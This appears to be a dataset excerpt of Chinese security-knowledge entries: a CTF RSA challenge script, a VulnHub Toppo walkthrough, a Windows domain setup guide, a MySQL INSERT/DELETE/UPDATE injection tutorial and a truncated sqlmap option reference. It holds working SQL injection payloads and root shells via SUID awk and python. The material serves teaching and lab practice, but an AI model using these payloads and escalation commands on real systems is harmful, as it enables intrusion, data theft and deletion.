text
stringlengths
100
9.93M
category
stringclasses
11 values
from Crypto.Util.number import * class Key: def __init__(self, bits): assert bits >= 512 self.p = getPrime(bits) self.q = getPrime(bits) self.n = self.p * self.q self.e = 0x100007 self.d = inverse(self.e, (self.p-1)*(self.q-1)) self.dmp1 = self.d%(self.p-1) self.dmq1 = self.d%(self.q-1) self.iqmp = inverse(self.q, self.p) self.ipmq = inverse(self.p, self.q) def encrypt(self, data): num = bytes_to_long(data) result = pow(num, self.e, self.n) return long_to_bytes(result) def decrypt(self, data): num = bytes_to_long(data) v1 = pow(num, self.dmp1, self.p) v2 = pow(num, self.dmq1, self.q) result = (v2*self.p*self.ipmq+v1*self.q*self.iqmp) % self.n return long_to_bytes(result) def __str__(self): return "Key([e = {0}, n = {1}, x = {2}, y = {3}])".format(self.e, self.d, self.iqmp, self.ipmq) def main(): key = Key(1024) flag = open('flag').read() encrypt_flag = key.encrypt(flag) assert key.decrypt(encrypt_flag) == flag print key print encrypt_flag.encode('hex') if __name__ == '__main__': main()
sec-knowleage
# Toppo 1 > https://download.vulnhub.com/toppo/Toppo.zip 靶场IP:`192.168.32.15` 扫描对外端口服务 ``` ┌──(root㉿kali)-[~] └─# nmap -sV -p1-65535 192.168.32.15 Starting Nmap 7.92 ( https://nmap.org ) at 2022-09-08 22:53 EDT Nmap scan report for 192.168.32.15 Host is up (0.00013s latency). Not shown: 65531 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0) 80/tcp open http Apache httpd 2.4.10 ((Debian)) 111/tcp open rpcbind 2-4 (RPC #100000) 56354/tcp open status 1 (RPC #100024) MAC Address: 08:00:27:2D:6E:35 (Oracle VirtualBox virtual NIC) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 17.77 seconds ``` 访问80端口 ![image-20220909113304481](../../.gitbook/assets/image-20220909113304481.png) ![image-20220909120215038](../../.gitbook/assets/image-20220909120215038.png) 查看:`notes.txt` ``` ┌──(root㉿kali)-[~] └─# curl http://192.168.32.15/admin/notes.txt Note to myself : I need to change my password :/ 12345ted123 is too outdated but the technology isn't my thing i prefer go fishing or watching soccer . ``` 使用ted用户登录 ``` ┌──(root㉿kali)-[~] └─# ssh ted@192.168.32.15 The authenticity of host '192.168.32.15 (192.168.32.15)' can't be established. ED25519 key fingerprint is SHA256:vJgmhqKOmHq0Mb0plSTyOdzw6GenPEkZkch+PIVozzw. This key is not known by any other names Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '192.168.32.15' (ED25519) to the list of known hosts. ted@192.168.32.15's password: The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Sun Apr 15 12:33:00 2018 from 192.168.0.29 ``` 查看sudo列表 ``` ted@Toppo:~$ sudo -l -bash: sudo: command not found ted@Toppo:~$ cat /etc/sudoers ted ALL=(ALL) NOPASSWD: /usr/bin/awk ``` 查找SUID文件 ``` ted@Toppo:~$ find / -perm -u=s -type f 2>/dev/null /sbin/mount.nfs /usr/sbin/exim4 /usr/lib/eject/dmcrypt-get-device /usr/lib/dbus-1.0/dbus-daemon-launch-helper /usr/lib/openssh/ssh-keysign /usr/bin/gpasswd /usr/bin/newgrp /usr/bin/python2.7 /usr/bin/chsh /usr/bin/at /usr/bin/mawk /usr/bin/chfn /usr/bin/procmail /usr/bin/passwd /bin/su /bin/umount /bin/mount ``` 提权方式 ``` ted@Toppo:~$ awk 'BEGIN {system("/bin/sh")}' # # id uid=1000(ted) gid=1000(ted) euid=0(root) groups=1000(ted),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),114(bluetooth) # cd /root # ls -al total 24 drwx------ 2 root root 4096 Apr 15 2018 . drwxr-xr-x 21 root root 4096 Apr 15 2018 .. -rw------- 1 root root 53 Apr 15 2018 .bash_history -rw-r--r-- 1 root root 570 Jan 31 2010 .bashrc -rw-r--r-- 1 root root 397 Apr 15 2018 flag.txt -rw-r--r-- 1 root root 140 Nov 19 2007 .profile # cat flag.txt _________ | _ _ | |_/ | | \_|.--. _ .--. _ .--. .--. | | / .'`\ \[ '/'`\ \[ '/'`\ \/ .'`\ \ _| |_ | \__. | | \__/ | | \__/ || \__. | |_____| '.__.' | ;.__/ | ;.__/ '.__.' [__| [__| Congratulations ! there is your flag : 0wnedlab{p4ssi0n_c0me_with_pract1ce} ``` ``` ted@Toppo:~$ python2.7 -c 'import pty;pty.spawn("/bin/sh")' # # id uid=1000(ted) gid=1000(ted) euid=0(root) groups=1000(ted),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),114(bluetooth) ```
sec-knowleage
# Windows 域搭建 --- ## 域结构 创建域首先要创建 DC,DC 创建完成后,把所有的客户端加入到 DC,这样就形成了域环境。 DC 域控制器是由工作组计算机升级而成,通过 dcpromo 命令就可以完成升级。只有 Windows Server(WEB 版本除外)才可以提升为域控制器。在升级 DC 之前不需要安装 DNS 服务,域控制器上必须要有 NTFS 文件系统的分区。 --- ## 安装域控 这里域为 ffffffff0x.com ### Windows Server 2008 R2 安装域控 首先,域控制器需要固定的 ip 地址以及 DNS 服务器为自己 WIN+R ,打开运行框,输入 : dcpromo 一路下一步,选择 “在新林中新建域” 填写域名(FQDN) 设置林功能级别为 2008 R2 然后它会自动检查 DNS 的配置,需要会时间。 如果你主机原来没有安装 DNS 的话,它会自动帮你勾选上 DNS,然后你点击下一步就可以,这时会弹出无法创建 DNS 服务器的委派,无视,直接点击 “是” 即可。 安装位置默认即可,因为 SYSVOL 文件必须得在 NTFS 文件系统的磁盘上,所以域控服务器必须得有 NTFS 文件系统的分区。 然后填目录还原模式的 Administrator 密码,这里就填 Abcd1234,下一步 等待安装完毕,然后重启计算机以完成配置。 --- **配置检查** 重新启动后,第一次登录需要修改密码,这里改成 Abcd12345 ,然后检查下面这些是否正确 - 检查活动目录是否正常安装 - 检查 DNS 服务域控制器注册的 SRV 记录 打开服务器管理器,查看角色 查看 DNS 在计算机成为域控后,该主机上之前的账号将全部变为域账号,这些账号将不能以本地登录方式登录。成为域控之后新建的用户,必须满足密码规则。如果成为域控后新建的用户不属于 administrators 组,则这些用户可以登录除域控外的其他域内主机。域控只允许 administrators 组内的用户以域身份登录,域控不能以本地身份登录。 域控中 administrator 组内的用户都是域管理员! --- ### Windows Server 2019 安装域控 首先,和 2008 一样,域控制器需要固定的 ip 地址以及 DNS 服务器为自己,这里略 然后在服务器管理器中点击添加角色和功能 安装前的检查提示,直接下一步,默认选择基于角色或基于功能的安装,直接下一步 默认选择安装在当前的服务器上,直接下一步 选择 Active Directory 域服务 弹出提示,直接点击添加功能 一路下一步,到安装,等待角色安装完成,点击将此服务器提升为域控制器 **将服务器提升为域控制器** 选择添加新林,输入根域名,点击下一步 这里选择林和域的功能级别,还有密码 然后一路下一步,直到安装完成,安装完成后会自动重启 --- **检查** 重新启动后,第一次登录需要修改密码,这里改成 Abcd12345 ,然后检查下面这些是否正确 打开管理工具中的 “Active Directory 用户和计算机” DNS管理器 --- ## 加入域 加入之前创建好的 ffffffff0x.com ,域控 IP 192.168.141.141 ### 2008 加入域 首先将主机的 DNS 指向域控服务器的 ip,并且确保两者之间能通,这里略 计算机-属性-高级系统设置-计算机名,更改,然后将主机的域名修改为域对应的名字,确定 然后会叫你输入域内的用户名,administrator 和 域内普通用户名 都可。 - ffffffff0x\Administrator - Abcd12345 然后重启 当计算机加入域后,系统会自动将域管理员组添加到本地系统管理员组中。 --- ### Win7 加入域 过程和 2008 没什么区别,这里给 win7 单独在域控上创建一个用户 密码就填 Abcd1234 即可 然后在 win7 中,首先将主机的 DNS 指向域控服务器的 ip,并且确保两者之间能通,这里略 打开计算机-属性-高级系统设置-计算机名,更改,然后将主机的域名修改为域对应的名字,确定 --- ## 域中主机的登录 如果你是想以本地的用户登录,主机名\用户名 ,该方式是通过SAM来进行NTLM认证的。 如果你是以域中的用户登录,域名\用户名 (域名部分不用加.com) 或者用户名@域名,该方式是通过Kerberos协议进行认证的 在域控上,使用 dsquery computer 命令可以查询域内所有的主机。 域控上的所有用户均可以登录域中的任意一台主机(域控除外,默认情况下域控只允许域内的 Administrator 用户才能登录),而域中的普通主机上的用户只能以本地身份登录该主机。 --- ## 域中主机的退出 计算机要么是工作组计算机,要么是域中的计算机,不能同时属于域和工作组,如果将计算机加入到工作组,计算机将自动从域中退出。退出时需要输入域管理员账号和密码。 --- ## 域用户管理 **添加域用户** 在域控上添加的用户都是域用户。如果想在其他域成员主机上添加域用户,需要在域成员主机上以域管理员权限登录,然后执行以下命令添加域用户 ``` net user test Abcd1234 /add /domain 添加域用户 test,密码为 Abcd1234 net group "domain admins" test /add /domain 将域用户 test 添加到域管理员组 ``` **禁用域中的账户** 加入到域的计算机,如果不打算让使用者在该计算机上使用域用户登录,可以禁用计算机账户。但是这样只会禁止域控服务器在成为域控服务器之后创建的用户,之前创建的用户不受影响 --- ## SRV 出错及解决办法 由于某种原因,装完活动目录后发现 DNS 上正向区域的 SRV 记录不全或者没有,需要采取以下措施,强制让域控制器向 DNS 注册 SRV 记录。 删除 DNS 服务器上的正向解析。然后 管理工具→DNS→正向查找区域→右键,新建 _msdcs.ffffffff0x.com 和 ffffffff0x.com 的区域 然后重启 netlogon 服务 停止服务命令:net stop netlogon 启动服务命令:net start netlogon **SRV 记录注册不成功的可能原因** 1. DNS 区域名称是否正确,是否允许安全更新 2. 确保域控制器全名已经包含了活动目录的名字 3. 确保域控制器的 TCP/IP 属性已经选中“在DNS中注册此链接的地址” --- ## Source & Reference - [内网渗透 | 搭建域环境](https://mp.weixin.qq.com/s/SUznjF43IPSigGnkvEve9g) - [最快的方式搭建域环境](https://payloads.online/archivers/2019-04-13/1) - [Windows Server 2019 安装DC域控](https://blog.51cto.com/12025450/2446545)
sec-knowleage
# 0x00 简介 insert,delete,update 主要是用到盲注和报错注入,此类注入点不建议使用sqlmap等工具,会造成大量垃圾数据,和其他情况。 # 0x01 insert,delete,update #### insert 可以看到假如没闭合是会产生很多垃圾数据的,所以这类注入建议手工或者自己写工具。 一般这种注入会出现在 注册、ip头、留言板等等需要写入数据的地方,同时这种注入不报错一般较难发现。 1. 报错 ``` mysql> insert into admin (id,username,password) values (2,"or updatexml(1,concat(0x7e,(version())),0) or","admin"); Query OK, 1 row affected (0.00 sec) mysql> select * from admin; +------+-----------------------------------------------+----------+ | id | username | password | +------+-----------------------------------------------+----------+ | 1 | admin | admin | | 1 | and 1=1 | admin | | 2 | or updatexml(1,concat(0x7e,(version())),0) or | admin | +------+-----------------------------------------------+----------+ 3 rows in set (0.00 sec) mysql> insert into admin (id,username,password) values (2,""or updatexml(1,concat(0x7e,(version())),0) or"","admin"); ERROR 1105 (HY000): XPATH syntax error: '~5.5.53' ``` 2. 盲注 int型 可以使用 运算符 比如 加减乘除 and or 异或 移位等等 ``` mysql> insert into admin values (2+if((substr((select user()),1,1)='r'),sleep(5),1),'1',"admin"); Query OK, 1 row affected (5.00 sec) mysql> insert into admin values (2+if((substr((select user()),1,1)='p'),sleep(5),1),'1',"admin"); Query OK, 1 row affected (0.00 sec) ``` 字符型注意闭合不能使用and ``` mysql> insert into admin values (2,''+if((substr((select user()),1,1)='p'),sleep(5),1)+'',"admin"); Query OK, 1 row affected (0.00 sec) mysql> insert into admin values (2,''+if((substr((select user()),1,1)='r'),sleep(5),1)+'',"admin"); Query OK, 1 row affected (5.01 sec) ``` 注意盲注产生大量垃圾数据。 #### delete 报错注入同上 值得注意的时delete 注入很危险,很危险,很危险。 语句不当 将会亲人泪两行 `or 1=1` 因为 1=1 为true 所以每一行被删除了, 他以前用sqlmap一把梭 现在过的很好,每顿都有人送饭到手上。 所以在 delete注入时使用 or 一定要为false ``` mysql> delete from admin where id =3 or 1=1; Query OK, 4 rows affected (0.00 sec) ``` 报错注入 ``` mysql> delete from admin where id =-2 or updatexml(1,concat(0x7e,(version())),0); ERROR 1105 (HY000): XPATH syntax error: '~5.5.53' ``` 盲注 or 配上 `if()` 函数使用不当 再提下 if(expr1,expr2,expr3),如果expr1的值为true,返回expr2的值,如果expr1的值为false, 返回expr3的值。 ``` mysql> delete from admin where id =-2 or if((substr((select user()),1,1)='r4'),sleep(5),1); Query OK, 3 rows affected (0.00 sec) ``` 所以 delete中 or 的正确使用方法 (or 右边要为false) ``` mysql> delete from admin where id =-2 or if((substr((select user()),1,1)='r4'),sleep(5),0); Query OK, 0 rows affected (0.00 sec) mysql> delete from admin where id =-2 or if((substr((select user()),1,1)='r'),sleep(5),0); Query OK, 0 rows affected (5.00 sec) ``` #### update 与上面的类似 ``` mysql> select * from admin; +------+----------+----------+ | id | username | password | +------+----------+----------+ | 2 | 1 | admin | | 2 | 1 | admin | | 2 | 1 | admin | | 2 | admin | admin | +------+----------+----------+ 4 rows in set (0.00 sec) mysql> update admin set id="5"+sleep(5)+"" where id=2; Query OK, 4 rows affected (20.00 sec) Rows matched: 4 Changed: 4 Warnings: 0 ``` # 0x02 文末 update,insert注入怎么找,我们可以尝试性插入、引号、双引号、转义符\ 让语句不能正常执行,然后如果插入失败,更新失败,然后深入测试确定是否存在注入 #### 本文如有错误,请及时提醒,避免误导他人 * author:404
sec-knowleage
## sqlmap参数详解: 由于Sqlmap 是常用工具之一,所以本篇的篇幅较长,详解一次所有参数。 ### 1、Options(选项) ```bash Usage: python sqlmap.py [options] Options(选项): -h, --help Show basic help message and exit ## 展示帮助文档 参数 -hh Show advanced help message and exit ## 展示详细帮助文档参数 --version Show program's version number and exit ## 显示程序的版本号 -v VERBOSE Verbosity level: 0-6 (default 1) ## 详细级别:0-6(默认为1) ``` ### 2、Target(目标) ```bash Target(目标): At least one of these options has to be provided to define the target(s) -d DIRECT Connection string for direct database connection ## 指定具体数据库 -u URL, --url=URL Target URL (e.g. "http://www.site.com/vuln.php?id=1") ## 目标URL -l LOGFILE Parse target(s) from Burp or WebScarab proxy log file ## 解析目标(s)从Burp或WebScarab代理日志文件 -x SITEMAPURL Parse target(s) from remote sitemap(.xml) file ## 解析目标(s)从远程站点地图文件(.xml) -m BULKFILE Scan multiple targets given in a textual file ## 扫描文本文件中给出的多个目标 -r REQUESTFILE Load HTTP request from a file ## 从本地文件加载HTTP请求 ,多用于post注入。 -g GOOGLEDORK Process Google dork results as target URLs ## 处理Google的结果作为目标URL。 -c CONFIGFILE Load options from a configuration INI file ## 从INI配置文件中加载选项。 ``` ### 3、Request(请求) ```bash Request(请求): These options can be used to specify how to connect to the target URL ## 这些选项可以用来指定如何连接到目标URL。 --method=METHOD Force usage of given HTTP method (e.g. PUT) ## 强制使用给定的HTTP方法(e.g. PUT) --data=DATA Data string to be sent through POST ## 通过POST发送的数据字符串 --param-del=PARA.. Character used for splitting parameter values ## 用于拆分参数值的字符 --cookie=COOKIE HTTP Cookie header value HTTP ## Cookie头的值 --cookie-del=COO.. Character used for splitting cookie values ## 用于分割Cookie值的字符 --load-cookies=L.. File containing cookies in Netscape/wget format ## 包含Netscape / wget格式的cookie的文件 --drop-set-cookie Ignore Set-Cookie header from response ## 从响应中忽略Set-Cookie头 --user-agent=AGENT HTTP User-Agent header value ## 指定 HTTP User - Agent头 --random-agent Use randomly selected HTTP User-Agent header value ## 使用随机选定的HTTP User - Agent头 --host=HOST HTTP Host header value ## HTTP主机头值 --referer=REFERER HTTP Referer header value ## 指定 HTTP Referer头 -H HEADER, --hea.. Extra header (e.g. "X-Forwarded-For: 127.0.0.1") ## 额外header --headers=HEADERS Extra headers (e.g. "Accept-Language: fr\\nETag: 123") ## 额外header --auth-type=AUTH.. HTTP authentication type (Basic, Digest, NTLM or PKI)HTTP ## 认证类型(Basic, Digest, NTLM or PKI) --auth-cred=AUTH.. HTTP authentication credentials (name:password) ## HTTP认证凭证(name:password) --auth-file=AUTH.. HTTP authentication PEM cert/private key file ## HTTP认证 PEM认证/私钥文件 --ignore-401 Ignore HTTP Error 401 (Unauthorized) ## 忽略HTTP错误401 --proxy=PROXY Use a proxy to connect to the target URL ## 使用代理连接到目标网址 --proxy-cred=PRO.. Proxy authentication credentials (name:password) ## 代理认证证书(name:password) --proxy-file=PRO.. Load proxy list from a file ## 从文件中加载代理列表 --ignore-proxy Ignore system default proxy settings ## 忽略系统默认代理设置 --tor Use Tor anonymity network ## 使用Tor匿名网络 --tor-port=TORPORT Set Tor proxy port other than default ## 设置Tor代理端口而不是默认值 --tor-type=TORTYPE Set Tor proxy type (HTTP (default), SOCKS4 or SOCKS5) ## 设置Tor代理类型 --check-tor Check to see if Tor is used properly ## 检查Tor是否正确使用 --delay=DELAY Delay in seconds between each HTTP request ## 每个HTTP请求之间的延迟(秒) --timeout=TIMEOUT Seconds to wait before timeout connection (default 30) ## 秒超时连接前等待(默认30) --retries=RETRIES Retries when the connection timeouts (default 3) ## 连接超时时重试(默认值3) --randomize=RPARAM Randomly change value for given parameter(s) ## 随机更改给定参数的值(s) --safe-url=SAFEURL URL address to visit frequently during testing ## 在测试期间频繁访问的URL地址 --safe-post=SAFE.. POST data to send to a safe URL ## POST数据发送到安全URL --safe-req=SAFER.. Load safe HTTP request from a file ## 从文件加载安全HTTP请求 --safe-freq=SAFE.. Test requests between two visits to a given safe URL ## 在两次访问给定安全网址之间测试请求 --skip-urlencode Skip URL encoding of payload data ## 跳过有效载荷数据的URL编码 --csrf-token=CSR.. Parameter used to hold anti-CSRF token ## 参数用于保存anti-CSRF令牌 --csrf-url=CSRFURL URL address to visit to extract anti-CSRF token ## 提取anti-CSRF URL地址访问令牌 --force-ssl Force usage of SSL/HTTPS ## 强制使用SSL /HTTPS --hpp Use HTTP parameter pollution method ## 使用HTTP参数pollution的方法 --eval=EVALCODE Evaluate provided Python code before the request (e.g. 评估请求之前提供Python代码"import hashlib;id2=hashlib.md5(id).hexdigest()") ``` ### 4、Optimization(优化) ```bash Optimization(优化): These options can be used to optimize the performance of sqlmap ## 这些选项可用于优化sqlmap的性能 -o Turn on all optimization switches ## 开启所有优化开关 --predict-output Predict common queries output ## 预测常见的查询输出 --keep-alive Use persistent HTTP(s) connections ## 使用持久的HTTP(S)连接 --null-connection Retrieve page length without actual HTTP response body ## 从没有实际的HTTP响应体中检索页面长度 --threads=THREADS Max number of concurrent HTTP(s) requests (default 1) ## 最大的HTTP(S)请求并发量(默认为1) ``` ### 5、Injection(注入) ```bash Injection(注入): These options can be used to specify which parameters to test for, provide custom injection payloads and optional tampering scripts ## 这些选项可以用来指定测试哪些参数, 提供自定义的注入payloads和可选篡改脚本。 -p TESTPARAMETER Testable parameter(s) ## 可测试的参数(S) --skip=SKIP Skip testing for given parameter(s) ## 跳过对给定参数的测试 --skip-static Skip testing parameters that not appear to be dynamic ## 跳过测试不显示为动态的参数 --param-exclude=.. Regexp to exclude parameters from testing (e.g. "ses") ## 使用正则表达式排除参数进行测试(e.g. "ses") --dbms=DBMS Force back-end DBMS to this value ## 强制后端的DBMS为此值 --dbms-cred=DBMS.. DBMS authentication credentials (user:password) ## DBMS认证凭证(user:password) --os=OS Force back-end DBMS operating system to this value ## 强制后端的DBMS操作系统为这个值 --invalid-bignum Use big numbers for invalidating values ## 使用大数字使值无效 --invalid-logical Use logical operations for invalidating values ## 使用逻辑操作使值无效 --invalid-string Use random strings for invalidating values ## 使用随机字符串使值无效 --no-cast Turn off payload casting mechanism ## 关闭有效载荷铸造机制 --no-escape Turn off string escaping mechanism ## 关闭字符串转义机制 --prefix=PREFIX Injection payload prefix string ## 注入payload字符串前缀 --suffix=SUFFIX Injection payload suffix string ## 注入payload字符串后缀 --tamper=TAMPER Use given script(s) for tampering injection data ## 使用给定的脚本(S)篡改注入数据 ``` ### 6、Detection(检测) ```bash Detection(检测): These options can be used to customize the detection phase ## 这些选项可以用来指定在SQL盲注时如何解析和比较HTTP响应页面的内容。 --level=LEVEL Level of tests to perform (1-5, default 1) ## 执行测试的等级(1-5,默认为1) --risk=RISK Risk of tests to perform (1-3, default 1) ## 执行测试的风险(0-3,默认为1) --string=STRING String to match when query is evaluated to True ## 查询时有效时在页面匹配字符串 --not-string=NOT.. String to match when query is evaluated to False ## 当查询求值为无效时匹配的字符串 --regexp=REGEXP Regexp to match when query is evaluated to True ## 查询时有效时在页面匹配正则表达式 --code=CODE HTTP code to match when query is evaluated to True ## 当查询求值为True时匹配的HTTP代码 --text-only Compare pages based only on the textual content ## 仅基于在文本内容比较网页 --titles Compare pages based only on their titles ## 仅根据他们的标题进行比较 ``` ### 7、Techniques(技巧) ```bash Techniques(技巧): These options can be used to tweak testing of specific SQL injection techniques ## 这些选项可用于调整具体的SQL注入测试。 --technique=TECH SQL injection techniques to use (default "BEUSTQ") ## SQL 注入技术测试(默认BEUST) --time-sec=TIMESEC Seconds to delay the DBMS response (default 5) ## DBMS响应的延迟时间(默认为5秒) --union-cols=UCOLS Range of columns to test for UNION query SQL injection ## 定列范围用于测试UNION查询注入 --union-char=UCHAR Character to use for bruteforcing number of columns ## 用于暴力猜解列数的字符 --union-from=UFROM Table to use in FROM part of UNION query SQL injection ## 要在UNION查询SQL注入的FROM部分使用的表 --dns-domain=DNS.. Domain name used for DNS exfiltration attack ## 域名用于DNS漏出攻击 --second-order=S.. Resulting page URL searched for second-order response ## 生成页面的URL搜索为second-order响应 ``` ### 8、Fingerprint(指纹) ```bash Fingerprint(指纹): -f, --fingerprint Perform an extensive DBMS version fingerprint ## 执行检查广泛的DBMS版本指纹 ``` ### 9、Enumeration(枚举) ```bash Enumeration(枚举): These options can be used to enumerate the back-end database management system information, structure and data contained in the tables. Moreover you can run your own SQL statements ## 这些选项可以用来列举后端数据库管理系统的信息、表中的结构和数据。此外,您还可以运行您自己的SQL语句。 -a, --all Retrieve everything ## 检索一切 -b, --banner Retrieve DBMS banner ## 检索数据库管理系统的标识 --current-user Retrieve DBMS current user ## 检索数据库管理系统的 标识 --current-db Retrieve DBMS current database ## 检索数据库管理系统当前数据库 -hostname Retrieve DBMS server hostname ## 检索数据库服务器的主机名 --is-dba Detect if the DBMS current user is DBA ## 检测DBMS当前用户是否DBA --users Enumerate DBMS users ## 枚举数据库管理系统用户 --passwords Enumerate DBMS users password hashes ## 枚举数据库管理系统用户密码哈希 --privileges Enumerate DBMS users privileges ## 枚举数据库管理系统用户的权限 --roles Enumerate DBMS users roles ## 枚举数据库管理系统用户的角色 --dbs Enumerate DBMS databases ## 枚举数据库管理系统数据库 --tables Enumerate DBMS database tables ## 枚举的DBMS数据库中的表 --columns Enumerate DBMS database table columns ## 枚举DBMS数据库表列 --schema Enumerate DBMS schema ## 枚举数据库架构 --count Retrieve number of entries for table(s) ## 检索表的条目数 --dump Dump DBMS database table entries ## 转储数据库管理系统的数据库中的表项 --dump-all Dump all DBMS databases tables entries ## 转储数据库管理系统的数据库中的表项 --search Search column(s), table(s) and/or database name(s) ## 搜索列(S),表(S)和/或数据库名称(S) --comments Retrieve DBMS comments ## 检索数据库的comments(注释、评论) -D DB DBMS database to enumerate ## 要进行枚举的数据库名 -T TBL DBMS database table(s) to enumerate ## 要进行枚举的数据库表 -C COL DBMS database table column(s) to enumerate ## 要进行枚举的数据库列 -X EXCLUDECOL DBMS database table column(s) to not enumerate ## 要不进行枚举的数据库列 -U USER DBMS user to enumerate ## 用来进行枚举的数据库用户 --exclude-sysdbs Exclude DBMS system databases when enumerating tables ## 枚举表时排除系统数据库 --pivot-column=P.. Pivot column name ## 主列名称 --where=DUMPWHERE Use WHERE condition while table dumping ## 使用WHERE条件进行表转储 --start=LIMITSTART First query output entry to retrieve ## 第一个查询输出进入检索 --stop=LIMITSTOP Last query output entry to retrieve ## 最后查询的输出进入检索 --first=FIRSTCHAR First query output word character to retrieve ## 第一个查询输出字的字符检索 --last=LASTCHAR Last query output word character to retrieve ## 最后查询的输出字字符检索 --sql-query=QUERY SQL statement to be executed ## 要执行的SQL语句 --sql-shell Prompt for an interactive SQL shell ## 提示交互式SQL的shell --sql-file=SQLFILE Execute SQL statements from given file(s) ## 从给定文件执行SQL语句 ``` ### 10、Brute Force(蛮力) ```bash Brute force(蛮力): These options can be used to run brute force checks ## 这些选项可以被用来运行蛮力检查。 --common-tables Check existence of common tables ## 检查存在共同表 --common-columns Check existence of common columns ## 检查存在共同列 ``` ### 11、User-defined function injection(用户自定义函数注入) ```bash User-defined function injection(用户自定义函数注入): These options can be used to create custom user-defined functions ## 这些选项可以用来创建用户自定义函数。 --udf-inject Inject custom user-defined functions ## 注入用户自定义函数 --shared-lib=SHLIB Local path of the shared library ## 共享库的本地路径 ``` ### 12、File system access(访问文件系统) ```bash File system access(访问文件系统): These options can be used to access the back-end database management system underlying file system ## 这些选项可以被用来访问后端数据库管理系统的底层文件系统。 --file-read=RFILE Read a file from the back-end DBMS file system ## 从后端的数据库管理系统文件系统读取文件 --file-write=WFILE Write a local file on the back-end DBMS file system ## 编辑后端的数据库管理系统文件系统上的本地文件 --file-dest=DFILE Back-end DBMS absolute filepath to write to ## 后端的数据库管理系统写入文件的绝对路径 ``` ### 13、Operating system access(操作系统访问) ```bash Operating system access(操作系统访问): These options can be used to access the back-end database management system underlying operating system ## 这些选项可以用于访问后端数据库管理系统的底层操作系统。 --os-cmd=OSCMD Execute an operating system command ## 执行操作系统命令 --os-shell Prompt for an interactive operating system shell ## 交互式的操作系统的shell --os-pwn Prompt for an OOB shell, Meterpreter or VNC ## 获取一个OOB shell,meterpreter或VNC --os-smbrelay One click prompt for an OOB shell, Meterpreter or VNC ## 一键获取一个OOB shell,meterpreter或VNC --os-bof Stored procedure buffer overflow exploitation ## 存储过程缓冲区溢出利用 --priv-esc Database process user privilege escalation ## 数据库进程用户权限提升 --msf-path=MSFPATH Local path where Metasploit Framework is installed Metasploit Framework ## 本地的安装路径 --tmp-path=TMPPATH Remote absolute path of temporary files directory ## 远程临时文件目录的绝对路径 ``` ### 14、Windows registry access(Windows注册表访问) ```bash Windows registry access(Windows注册表访问): These options can be used to access the back-end database management system Windows registry ## 这些选项可以被用来访问后端数据库管理系统Windows注册表。 --reg-read Read a Windows registry key value ## 读一个Windows注册表项值 --reg-add Write a Windows registry key value data ## 写一个Windows注册表项值数据 --reg-del Delete a Windows registry key value ## 删除Windows注册表键值 --reg-key=REGKEY Windows registry key ## Windows注册表键 --reg-value=REGVAL Windows registry key value ## Windows注册表项值 --reg-data=REGDATA Windows registry key value data ## Windows注册表键值数据 --reg-type=REGTYPE Windows registry key value type ## Windows注册表项值类型 ``` ### 15、General(一般) ```bash General(一般): These options can be used to set some general working parameters ## 这些选项可以用来设置一些一般的工作参数。 -s SESSIONFILE Load session from a stored (.sqlite) file ## 保存和恢复检索会话文件的所有数据 -t TRAFFICFILE Log all HTTP traffic into a textual file ## 记录所有HTTP流量到一个文本文件中 --batch Never ask for user input, use the default behaviour ## 从不询问用户输入,使用所有默认配置。 --binary-fields=.. Result fields having binary values (e.g. "digest") ## 具有二进制值的结果字段 --charset=CHARSET Force character encoding used for data retrieval ## 强制用于数据检索的字符编码 --crawl=CRAWLDEPTH Crawl the website starting from the target URL ## 从目标网址开始抓取网站 --crawl-exclude=.. Regexp to exclude pages from crawling (e.g. "logout") ## 正则表达式排除网页抓取 --csv-del=CSVDEL Delimiting character used in CSV output (default ",") ## 分隔CSV输出中使用的字符 --dump-format=DU.. Format of dumped data (CSV (default), HTML or SQLITE) ## 转储数据的格式 --eta Display for each output the estimated time of arrival ## 显示每个输出的预计到达时间 --flush-session Flush session files for current target ## 刷新当前目标的会话文件 --forms Parse and test forms on target URL ## 在目标网址上解析和测试表单 --fresh-queries Ignore query results stored in session file ## 忽略在会话文件中存储的查询结果 --hex Use DBMS hex function(s) for data retrieval ## 使用DBMS hex函数进行数据检索 --output-dir=OUT.. Custom output directory path ## 自定义输出目录路径 --parse-errors Parse and display DBMS error messages from responses ## 解析和显示响应中的DBMS错误消息 --save=SAVECONFIG Save options to a configuration INI file ## 保存选项到INI配置文件 --scope=SCOPE Regexp to filter targets from provided proxy log ## 使用正则表达式从提供的代理日志中过滤目标 --test-filter=TE.. Select tests by payloads and/or titles (e.g. ROW) ## 根据有效负载和/或标题(e.g. ROW)选择测试 --test-skip=TEST.. Skip tests by payloads and/or titles (e.g. BENCHMARK) ## 根据有效负载和/或标题跳过测试(e.g. BENCHMARK) --update Update sqlmap ## 更新SqlMap ``` ### 16、Miscellaneous(杂项) ```bash Miscellaneous(杂项): -z MNEMONICS Use short mnemonics (e.g. "flu,bat,ban,tec=EU") ## 使用简短的助记符 --alert=ALERT Run host OS command(s) when SQL injection is found ## 在找到SQL注入时运行主机操作系统命令 --answers=ANSWERS Set question answers (e.g. "quit=N,follow=N") ## 设置问题答案 --beep Beep on question and/or when SQL injection is found ## 发现SQL 注入时提醒 --cleanup Clean up the DBMS from sqlmap specific UDF and tables SqlMap ## 具体的UDF和表清理DBMS --dependencies Check for missing (non-core) sqlmap dependencies ## 检查是否缺少(非内核)sqlmap依赖关系 --disable-coloring Disable console output coloring ## 禁用控制台输出颜色 --gpage=GOOGLEPAGE Use Google dork results from specified page number ## 使用Google dork结果指定页码 --identify-waf Make a thorough testing for a WAF/IPS/IDS protection ## 对WAF / IPS / IDS保护进行全面测试 --skip-waf Skip heuristic detection of WAF/IPS/IDS protection ## 跳过启发式检测WAF / IPS / IDS保护 --mobile Imitate smartphone through HTTP User-Agent header ## 通过HTTP User-Agent标头模仿智能手机 --offline Work in offline mode (only use session data) ## 在离线模式下工作(仅使用会话数据) --page-rank Display page rank (PR) for Google dork results ## Google dork结果显示网页排名(PR) --purge-output Safely 